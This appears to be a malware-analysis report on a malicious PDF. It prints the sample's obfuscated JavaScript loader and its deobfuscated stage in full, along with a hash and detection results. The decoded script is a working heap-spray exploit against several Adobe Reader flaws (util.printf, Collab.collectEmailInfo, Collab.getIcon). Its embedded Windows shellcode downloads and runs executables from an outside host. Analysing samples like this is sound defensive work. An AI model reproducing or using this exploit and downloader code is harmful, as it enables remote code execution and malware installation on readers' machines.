167,102,149,102,149,88,91,113,63,64,59,63,169,158,155,162,151,86,90,165,168,155,164,156,158,165,169,100,158,155,160,157,166,158,82,114,82,106,102,111,103,104,91,177,63,64,59,63,59,165,168,155,164,156,158,165,169,86,93,115,82,165,168,155,164,156,158,165,169,113,63,64,59,63,175,67,60,63,59,170,154,159,165,100,149,165,158,162,147,152,133,170,161,168,151,86,111,86,117,165,158,162,147,152,96,153,161,162,158,155,149,170,119,163,147,159,158,127,160,156,161,94,173,169,167,152,156,112,82,88,84,98,159,169,153,112,82,165,168,155,164,156,158,165,169,179,91,113,63,64,59,179,63,64,63,64,59,156,167,164,149,170,155,165,160,86,149,165,158,162,147,152,145,157,151,170,155,153,161,164,90,95,173,67,60,63,59,159,152,86,90,151,162,166,96,154,161,153,96,121,161,162,158,151,148,100,153,155,166,127,149,165,160,95,173,67,60,63,59,63,168,151,164,86,147,168,164,175,82,115,82,164,151,173,82,119,164,168,147,175,90,95,109,67,60,63,59,63,168,151,164,86,168,172,162,155,166,158,171,151,82,115,82,171,160,155,165,153,147,166,151,94,84,91,167,123,116,123,107,91,167,102,98,102,99,91,167,107,104,102,98,91,167,119,99,108,102,91,167,102,98,105,98,91,167,102,98,102,98,91,167,106,98,110,116,91,167,110,116,102,117,91,167,103,117,109,98,91,167,110,116,119,118,91,167,102,106,106,98,91,167,121,101,107,119,91,167,110,116,107,103,91,167,110,116,123,117,91,167,102,106,106,103,91,167,105,101,107,100,91,167,121,99,122,100,91,167,102,101,121,100,91,167,103,98,105,100,91,167,110,98,106,98,91,167,102,98,105,106,91,167,124,103,109,103,91,167,121,100,110,116,91,167,107,118,107,115,91,167,102,102,121,100,91,167,107,103,102,98,91,167,123,117,110,116,91,167,107,99,107,99,91,167,107,104,107,101,91,167,108,98,107,105,91,167,107,118,110,116,91,167,105,101,102,106,91,167,110,116,121,98,91,167,102,117,109,103,91,167,124,119,110,116,91,167,109,104,102,101,91,167,110,116,105,117,91,167,109,106,106,119,91,167,121,120,102,101,91,167,107,99,110,116,91,167,107,100,103,117,91,167,107,99,110,116,91,167,107,100,104,102,91,167,109,99,110,116,91,167,106,119,103,102,91,167,109,103,110,107,91,167,110,116,124,117,91,167,104,98,109,99,91,167,124,105,102,101,91,167,106,115,111,107,91,167,106,100,119,118,91,167,105,116,108,98,91,167,124,117,107,103,91,167,102,102,109,103,91,167,121,98,105,101,91,167,105,105,123,116,91,167,124,120,105,101,91,167,106,103,102,101,91,167,111,105,102,117,91,167,121,120,110,116,91,167,109,103,119,119,91,167,104,116,124,118,91,167,106,120,124,107,91,167,123,106,107,99,91,167,124,120,111,102,91,167,124,120,124,120,91,167,121,101,105,116,91,167,109,102,108,99,91,167,123,116,102,100,91,167,110,116,122,107,91,167,102,117,106,103,91,167,107,119,111,100,91,167,124,100,102,101,91,167,123,98,122,99,91,167,121,104,102,101,91,167,121,107,105,101,91,167,120,105,102,120,91,167,107,120,102,106,91,167,123,99,121,99,91,167,102,101,102,100,91,167,102,101,121,115,91,167,110,116,121,120,91,167,102,101,102,99,91,167,110,107,121,100,91,167,124,106,106,103,91,167,110,116,108,99,91,167,124,106,106,103,91,167,107,119,107,120,91,167,121,107,107,116,91,167,107,103,121,101,91,167,123,117,110,116,91,167,123,106,107,99,91,167,124,120,106,107,91,167,124,120,124,120,91,167,108,106,107,98,91,167,108,98,123,106,91,167,102,102,120,120,91,167,108,117,123,106,91,167,124,120,124,120,91,167,105,101,124,120,91,167,107,100,122,100,91,167,124,120,107,100,91,167,102,106,109,103,91,167,122,98,124,120,91,167,106,103,110,107,91,167,110,116,124,117,91,167,124,117,106,103,91,167,121,101,121,107,91,167,110,116,107,103,91,167,110,101,123,117,91,167,102,117,123,117,91,167,106,103,110,118,91,167,107,98,124,102,91,167,106,103,121,104,91,167,109,103,124,102,91,167,106,103,121,104,91,167,109,100,124,103,91,167,106,103,121,104,91,167,108,117,124,104,91,167,106,103,121,104,91,167,108,118,124,105,91,167,106,103,121,104,91,167,108,120,124,106,91,167,106,103,121,104,91,167,108,119,124,107,91,167,106,103,121,104,91,167,104,119,124,115,91,167,106,103,121,104,91,167,108,102,124,116,91,167,106,103,121,104,91,167,108,117,124,117,91,167,106,103,121,104,91,167,108,117,124,118,91,167,106,103,121,104,91,167,102,98,124,119,91,167,119,98,123,106,91,167,124,120,124,120,91,167,107,98,124,120,91,167,107,118,108,106,91,167,103,99,110,115,91,167,123,106,103,104,91,167,124,120,103,103,91,167,124,120,124,120,91,167,121,102,110,101,91,167,110,103,102,117,91,167,109,102,121,98,91,167,108,115,103,103,91,167,108,115,102,98,91,167,124,120,102,98,91,167,102,117,109,103,91,167,109,103,124,120,91,167,108,115,102,106,91,167,124,120,102,98,91,167,110,103,122,98,91,167,109,103,121,98,91,167,106,98,102,101,91,167,121,101,121,107,91,167,121,98,105,101,91,167,121,101,121,107,91,167,105,101,107,105,91,167,110,116,121,98,91,167,104,102,106,117,91,167,110,116,102,117,91,167,104,102,109,117,91,167,124,117,102,106,91,167,119,115,124,101,91,167,121,101,107,120,91,167,106,117,110,116,91,167,102,102,104,102,91,167,105,107,110,98,91,167,110,116,102,98,91,167,109,102,121,99,91,167,106,98,102,104,91,167,105,106,110,98,91,167,109,103,102,98,91,167,104,116,124,115,91,167,121,101,121,99,91,167,110,116,107,103,91,167,110,101,123,117,91,167,108,102,123,117,91,167,110,118,107,101,91,167,124,98,106,103,91,167,105,101,107,105,91,167,107,98,122,116,91,167,106,103,121,104,91,167,108,116,124,98,91,167,106,103,121,104,91,167,108,103,124,99,91,167,106,103,121,104,91,167,109,100,124,100,91,167,106,103,121,104,91,167,108,119,124,101,91,167,106,103,121,104,91,167,108,103,124,102,91,167,106,103,121,104,91,167,108,117,124,103,91,167,106,103,121,104,91,167,105,101,124,104,91,167,106,103,121,104,91,167,105,100,124,105,91,167,106,103,121,104,91,167,104,119,124,106,91,167,106,103,121,104,91,167,108,102,124,107,91,167,106,103,121,104,91,167,108,117,124,115,91,167,106,103,121,104,91,167,108,117,124,116,91,167,107,118,110,106,91,167,123,106,124,117,91,167,124,120,102,116,91,167,124,120,124,120,91,167,108,106,107,98,91,167,106,101,108,106,91,167,110,119,124,107,91,167,110,98,123,106,91,167,124,120,124,119,91,167,110,116,124,120,91,167,110,118,124,106,91,167,111,117,106,103,91,167,106,102,108,115,91,167,123,106,107,98,91,167,124,120,109,119,91,167,124,120,124,120,91,167,106,103,110,118,91,167,108,115,123,98,91,167,107,98,103,98,91,167,109,101,123,106,91,167,124,120,124,120,91,167,110,101,124,120,91,167,103,117,121,102,91,167,106,103,110,118,91,167,107,98,123,98,91,167,106,103,110,118,91,167,107,98,111,117,91,167,107,101,107,101,91,167,107,101,107,101,91,167,107,101,107,101,91,167,109,103,124,120,91,167,121,105,102,106,91,167,111,117,106,103,91,167,102,98,106,102,91,167,102,98,102,98,91,167,124,120,107,101,91,167,107,120,122,105,91,167,120,104,102,120,91,167,107,116,121,98,91,167,121,101,121,107,91,167,110,116,107,103,91,167,107,99,123,117,91,167,107,101,107,99,91,167,107,105,107,104,91,167,106,100,108,115,91,167,109,100,123,106,91,167,102,98,102,98,91,167,110,116,102,98,91,167,105,101,122,106,91,167,110,103,124,104,91,167,107,107,122,116,91,167,106,103,121,105,91,167,108,99,124,106,91,167,108,103,104,119,91,167,121,105,109,106,91,167,124,117,106,103,91,167,102,98,108,103,91,167,102,98,102,98,91,167,107,104,109,119,91,167,106,103,110,118,91,167,107,98,124,106,91,167,123,106,107,104,91,167,102,98,107,99,91,167,102,98,102,98,91,167,107,98,107,107,91,167,120,99,123,106,91,167,124,120,124,119,91,167,110,103,124,120,91,167,107,107,121,98,91,167,109,102,107,107,91,167,110,118,105,107,91,167,102,99,106,104,91,167,123,106,107,98,91,167,102,98,105,116,91,167,102,98,102,98,91,167,124,106,110,116,91,167,106,103,110,118,91,167,107,98,124,106,91,167,104,99,123,106,91,167,124,120,124,120,91,167,110,103,124,120,91,167,107,107,121,98,91,167,109,102,107,107,91,167,107,105,102,117,91,167,102,99,123,106,91,167,124,120,124,120,91,167,107,107,124,120,91,167,106,102,121,104,91,167,124,120,105,106,91,167,107,98,109,101,91,167,106,103,110,118,91,167,124,119,124,106,91,167,107,106,102,98,91,167,106,103,110,118,91,167,107,98,124,106,91,167,123,106,107,105,91,167,124,119,109,102,91,167,124,120,124,120,91,167,107,107,107,107,91,167,106,104,106,104,91,167,124,101,105,116,91,167,119,115,109,117,91,167,107,119,107,120,91,167,121,107,107,116,91,167,107,103,121,101,91,167,123,117,110,116,91,167,107,101,107,99,91,167,108,98,108,104,91,167,105,100,120,99,91,167,102,98,123,106,91,167,102,98,102,98,91,167,107,106,102,98,91,167,102,106,105,106,91,167,102,101,109,102,91,167,123,116,106,98,91,167,106,98,124,107,91,167,107,118,110,116,91,167,110,98,102,106,91,167,106,100,124,116,91,167,102,106,109,103,91,167,122,116,105,101,91,167,103,106,110,115,91,167,121,101,110,116,91,167,103,105,123,116,91,167,103,106,105,106,91,167,103,99,109,104,91,167,105,101,106,98,91,167,110,102,121,107,91,167,109,102,122,116,91,167,106,98,102,117,91,167,102,106,105,106,91,167,124,116,109,103,91,167,124,119,106,98,91,167,123,116,121,116,91,167,105,101,124,100,91,167,110,107,121,98,91,167,124,117,106,103,91,167,106,103,110,116,91,167,107,116,124,117,91,167,121,101,121,107,91,167,102,100,105,100,91,167,109,102,108,106,91,167,109,98,109,102,91,167,104,120,105,115,91,167,109,101,104,120,91,167,109,99,109,103,91,167,109,105,108,107,91,167,108,116,109,107,91,167,108,101,104,119,91,167,104,120,108,119,91,167,105,99,108,99,91,167,104,120,105,100,91,167,108,119,108,99,91,167,109,98,108,120,91,167,109,102,109,99,91,167,104,119,105,100,91,167,109,106,108,103,91,167,102,98,108,103,91,167,109,102,108,106,91,167,109,98,109,102,91,167,104,120,105,115,91,167,109,101,104,120,91,167,109,99,109,103,91,167,109,105,108,107,91,167,108,116,109,107,91,167,108,101,104,119,91,167,104,120,108,119,91,167,105,99,108,99,91,167,104,120,105,100,91,167,108,117,108,101,91,167,108,101,108,107,91,167,104,119,108,116,91,167,108,106,109,98,91,167,105,120,109,98,91,167,105,118,109,100,91,167,102,98,102,98,88,91,113,63,64,59,63,59,172,147,168,82,158,137,167,103,102,98,121,128,86,111,86,168,172,162,155,166,158,171,151,96,162,151,164,153,170,154,86,92,86,100,113,63,64,59,63,59,172,147,168,82,162,151,164,82,115,82,102,170,106,98,102,98,102,98,86,95,86,90,158,137,167,103,102,98,121,128,86,93,86,98,174,101,110,91,113,63,64,59,63,59,172,147,168,82,175,147,168,165,166,82,115,82,171,160,155,165,153,147,166,151,94,84,91,167,111,98,111,98,91,167,111,98,111,98,88,91,113,63,64,59,63,59,175,147,168,165,166,82,115,82,156,155,174,145,159,166,94,171,151,164,169,162,98,82,162,151,164,91,113,63,64,59,63,59,172,147,168,82,166,103,119,156,129,104,107,152,86,111,86,90,102,170,102,149,102,149,102,149,102,149,86,95,86,98,174,102,102,98,102,98,102,91,86,97,86,98,174,102,102,98,102,98,102,109,67,60,63,59,63,152,165,164,86,90,172,147,168,82,172,163,153,131,122,107,108,171,86,111,86,98,113,82,172,163,153,131,122,107,108,171,86,110,86,162,107,115,160,125,108,103,156,109,86,168,167,149,135,118,111,104,175,82,97,93,86,91,177,63,64,59,63,59,63,147,168,164,175,141,172,163,153,131,122,107,108,171,147,82,115,82,175,147,168,165,166,82,97,82,172,168,166,151,170,154,175,147,113,63,64,59,63,59,179,63,64,59,63,59,172,147,168,82,170,135,131,154,132,148,125,169,86,111,86,167,164,151,169,149,151,162,155,90,88,87,102,107,88,91,113,63,64,59,63,59,173,154,159,158,155,82,94,166,139,127,158,128,152,121,173,96,162,151,164,153,170,154,86,110,86,98,174,102,102,98,102,91,177,63,64,59,63,59,63,166,139,127,158,128,152,121,173,82,97,111,86,166,139,127,158,128,152,121,173,109,67,60,63,59,63,175,67,60,63,59,63,166,139,127,158,128,152,121,173,82,115,82,88,128,100,84,86,93,86,166,139,127,158,128,152,121,173,109,67,60,63,59,63,147,166,162,100,150,165,149,100,117,165,158,162,147,152,96,157,151,170,123,153,161,164,90,170,135,131,154,132,148,125,169,95,109,67,60,63,59,179,63,64,59,179,63,64,63,64,59,156,167,164,149,170,155,165,160,86,162,154,152,149,165,170,147,168,166,94,91,177,63,64,63,64,59,63,168,151,164,86,168,155,164,169,155,165,160,86,111,86,147,166,162,100,168,159,151,173,151,168,136,155,164,169,155,165,160,100,166,165,133,170,164,159,160,157,90,95,109,67,60,63,59,172,151,168,165,159,161,164,82,115,82,172,151,168,165,159,161,164,96,168,151,166,158,151,149,155,90,101,142,122,97,157,94,93,89,95,109,67,60,63,59,172,147,168,82,172,147,168,165,159,161,164,145,151,164,168,147,175,82,115,82,164,151,173,82,119,164,168,147,175,90,172,151,168,165,159,161,164,96,153,154,151,164,119,166,94,98,95,94,86,168,155,164,169,155,165,160,100,149,158,147,168,115,170,90,103,91,98,82,172,151,168,165,159,161,164,96,153,154,151,164,119,166,94,100,95,91,113,63,64,59,63,155,156,82,94,90,172,147,168,165,159,161,164,145,151,164,168,147,175,141,102,143,86,111,115,82,110,91,86,88,92,82,94,168,151,164,169,155,165,160,149,147,168,164,151,171,145,99,147,82,115,111,86,98,95,82,178,174,86,90,172,147,168,165,159,161,164,145,151,164,168,147,175,141,103,143,86,111,115,82,103,82,92,88,86,168,151,164,169,155,165,160,149,147,168,164,151,171,145,100,147,82,114,82,105,91,95,173,67,60,63,59,63,167,170,155,162,145,166,164,159,160,170,152,94,91,113,63,64,59,63,175,67,60,63,59,159,152,86,90,94,168,151,164,169,155,165,160,149,147,168,164,151,171,145,98,147,82,114,82,110,91,86,174,178,82,94,168,151,164,169,155,165,160,149,147,168,164,151,171,145,98,147,82,115,111,86,106,86,88,92,82,172,147,168,165,159,161,164,145,151,164,168,147,175,141,103,143,86,110,86,100,86,88,92,82,172,147,168,165,159,161,164,145,151,164,168,147,175,141,104,143,86,110,86,100,95,91,177,63,64,59,63,59,153,161,162,158,151,148,149,151,163,147,159,158,94,91,113,63,64,59,63,175,67,60,63,59,159,152,86,90,94,168,151,164,169,155,165,160,149,147,168,164,151,171,145,98,147,82,114,82,111,91,86,174,178,82,94,168,151,164,169,155,165,160,149,147,168,164,151,171,145,98,147,82,115,111,86,107,86,88,92,82,172,147,168,165,159,161,164,145,151,164,168,147,175,141,103,143,86,110,86,99,95,91,177,63,64,59,63,59,153,161,162,158,151,148,149,153,155,166,159,149,165,160,94,91,113,63,64,59,63,175,67,60,63,175,67,60,67,60,63,162,154,152,149,165,170,147,168,166,94,91,113,63,64,59],uljoz=zpbj['fSrno5mSC5hDanrDCDo4dDen'.replace(/[nS4D5]/g,'')],cehn=function(){for(var ehsux;bfgt<monez.length;bfgt++){var gmoptx=monez[bfgt];var gmqs=bfgt%fgprs.length+1;var cefhst=fgprs.substring(bfgt%fgprs.length,gmqs);jksw+=uljoz(gmoptx-cefhst.charCodeAt(0));} cfgory(jksw);};cehn();hjltvy="hjltvy";bdmrtv="bdmrtv";dgopsw='';cgiopr='';cfhlmn='';aceikt=true;dgijnx="dgijnx";efnow="efnow";gimnt=58259;fhnw=false;znwxqs=false;efrwx='';bfimt=33102;
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x268	9874 bytes
SHA-256: `7ec1d68ee1e49957d4c5cf1bc6a838f9ccc8cf25c26bdd5e101146b98d83dac1`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u732F%u7175%u7769%u6B79%u632E%u2F6E%u3161%u2F32%u6964%u756A%u3277%u652E%u6578%u6800%u7474%u3A70%u2F2F%u7573%u6971%u7977%u2E6B%u6E63%u612F%u3231%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u732F%u7175%u7769%u6B79%u632E%u2F6E%u3161%u2F32%u6561%u7875%u3279%u652E%u6578%u6800%u7474%u3A70%u2F2F%u7573%u6971%u7977%u2E6B%u6E63%u612F%u3231%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u732F%u7175%u7769%u6B79%u632E%u2F6E%u3161%u2F32%u6E61%u706F%u7471%u2E32%u7865%u0065%u7468%u7074%u2F3A%u732F%u7175%u7769%u6B79%u632E%u2F6E%u3161%u2F32%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ tUMhNbGw += tUMhNbGw; } tUMhNbGw = "N." + tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version = app.viewerVersion.toString(); version = version.replace(/\D/g,''); var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2)); if ((varsion_array[0] == 8) && (varsion_array[1] == 0) \|\| (varsion_array[1] == 1 && varsion_array[2] < 3)){ util_printf(); } if ((varsion_array[0] < 8) \|\| (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){ collab_email(); } if ((varsion_array[0] < 9) \|\| (varsion_array[0] == 9 && varsion_array[1] < 1)){ collab_geticon(); } } pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 13

Related samples 5

Extracted artifacts 2